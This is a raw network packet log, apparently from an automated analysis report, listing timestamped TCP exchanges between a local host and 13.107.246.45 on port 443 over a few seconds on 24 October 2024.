Oct 24, 2024 22:09:53.613728046 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.614514112 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.614550114 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.617146015 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.617151976 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.625297070 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.626121998 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.626214027 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.626267910 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.626668930 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.627079010 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.627089024 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.627120018 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.627126932 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.630132914 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.630182028 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.630549908 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.630820036 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.630846024 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.634558916 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.634628057 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.634813070 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.634813070 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.634813070 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.636565924 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.636718035 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.636908054 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.636908054 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.636926889 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.636941910 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.637125015 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.637161970 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.638878107 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.638905048 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.638962030 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.638978958 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.639159918 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.639166117 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.639168024 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.639183998 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.745064020 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.745138884 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.745379925 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.745379925 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.745429993 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.745440960 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.748198986 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.748219967 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.748521090 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.748521090 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.748557091 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.943008900 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.943043947 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.343460083 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.343929052 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.343976021 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.344419956 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.344433069 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.367383003 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.367888927 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.367970943 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.368315935 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.368330002 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.371752024 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.372075081 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.372092962 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.372462988 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.372467995 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.383353949 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.383718967 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.383752108 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.384113073 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.384126902 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.477427006 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.477523088 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.477592945 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.477821112 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.477821112 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.477857113 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.477880955 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.480571032 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.480670929 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.480818033 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.480986118 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.481009007 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.497303009 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.497818947 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.497840881 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.498285055 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.498291016 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.499244928 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.499439955 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.499527931 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.499604940 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.499650955 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.499680042 CEST	49864	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.499695063 CEST	443	49864	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.502353907 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.502403021 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.502542973 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.502700090 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.502716064 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.506946087 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.507020950 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.507075071 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.507091045 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.507138968 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.507198095 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.507452965 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.507452965 CEST	49865	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.507468939 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.507478952 CEST	443	49865	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.509632111 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.509665012 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.509790897 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.509944916 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.509965897 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.513575077 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.513751030 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.513868093 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.513923883 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.513955116 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.513979912 CEST	49866	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.513994932 CEST	443	49866	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.516021967 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.516053915 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.516124964 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.516251087 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.516277075 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.630011082 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.630039930 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.630079985 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.630095959 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.630135059 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.630367041 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.630398989 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.630413055 CEST	49867	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.630419970 CEST	443	49867	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.638760090 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.638789892 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:54.638849974 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.638997078 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:54.639015913 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.205661058 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.206171989 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.206216097 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.206614017 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.206624985 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.244435072 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.244541883 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.244894981 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.244932890 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.245150089 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.245204926 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.245348930 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.245362043 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.245690107 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.245702982 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.260709047 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.261094093 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.261104107 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.261495113 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.261501074 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.333837032 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.334012032 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.334235907 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.334235907 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.334240913 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.337210894 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.337297916 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.337414026 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.337523937 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.337544918 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.360322952 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.361151934 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.361151934 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.361181021 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.361192942 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.377688885 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.377785921 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.377943039 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.377979994 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.377979994 CEST	49870	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.378014088 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.378051996 CEST	443	49870	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.379596949 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.379667997 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.379767895 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.379816055 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.380115986 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.380661964 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.380698919 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.380737066 CEST	49869	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.380753040 CEST	443	49869	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.382550955 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.382558107 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.382581949 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.382592916 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.382704973 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.382792950 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.382852077 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.382853985 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.382863998 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.382879972 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.410288095 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.410347939 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.410514116 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.410628080 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.410628080 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.410725117 CEST	49871	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.410738945 CEST	443	49871	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.413032055 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.413074017 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.413240910 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.413410902 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.413436890 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.490567923 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.491385937 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.491504908 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.491504908 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.491604090 CEST	49872	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.491625071 CEST	443	49872	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.493896961 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.493963957 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.494225979 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.494226933 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.494297028 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:55.651133060 CEST	49868	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:55.651218891 CEST	443	49868	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.073329926 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.073827982 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.073889971 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.074251890 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.074265003 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.124667883 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.125149012 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.125185013 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.125520945 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.125531912 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.130975962 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.131798029 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.131798029 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.131819010 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.131840944 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.154351950 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.155041933 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.155041933 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.155107975 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.155145884 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.208976030 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.209899902 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.209959984 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.210129023 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.210129023 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.210949898 CEST	49873	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.210990906 CEST	443	49873	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.212785006 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.212876081 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.213059902 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.213121891 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.213141918 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.236118078 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.237000942 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.237000942 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.237067938 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.237122059 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.258080959 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.258263111 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.258358002 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.258455992 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.258479118 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.258516073 CEST	49875	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.258529902 CEST	443	49875	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.261008978 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.261049986 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.261154890 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.261389971 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.261420965 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.301338911 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.301505089 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.301661968 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.301661968 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.301703930 CEST	49874	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.301717997 CEST	443	49874	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.304049015 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.304070950 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.304153919 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.304294109 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.304310083 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.304564953 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.304749966 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.304964066 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.304965019 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.304965019 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.306696892 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.306724072 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.306839943 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.306938887 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.306951046 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.369827986 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.369854927 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.369898081 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.369927883 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.369968891 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.370237112 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.370261908 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.370280027 CEST	49877	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.370287895 CEST	443	49877	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.372975111 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.373006105 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.373106003 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.373286963 CEST	49882	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.373298883 CEST	443	49882	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.614098072 CEST	49876	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.614162922 CEST	443	49876	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.950351000 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.950889111 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.950946093 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:56.951355934 CEST	49878	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:56.951371908 CEST	443	49878	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.039210081 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.048345089 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.048435926 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.048897982 CEST	49879	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.048913002 CEST	443	49879	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.052908897 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.053358078 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.053366899 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.054018021 CEST	49880	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.054023027 CEST	443	49880	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.057781935 CEST	443	49881	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:57.059801102 CEST	49881	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:57.059834957 CEST	443	49881	13.107.246.45	192.168.2.5
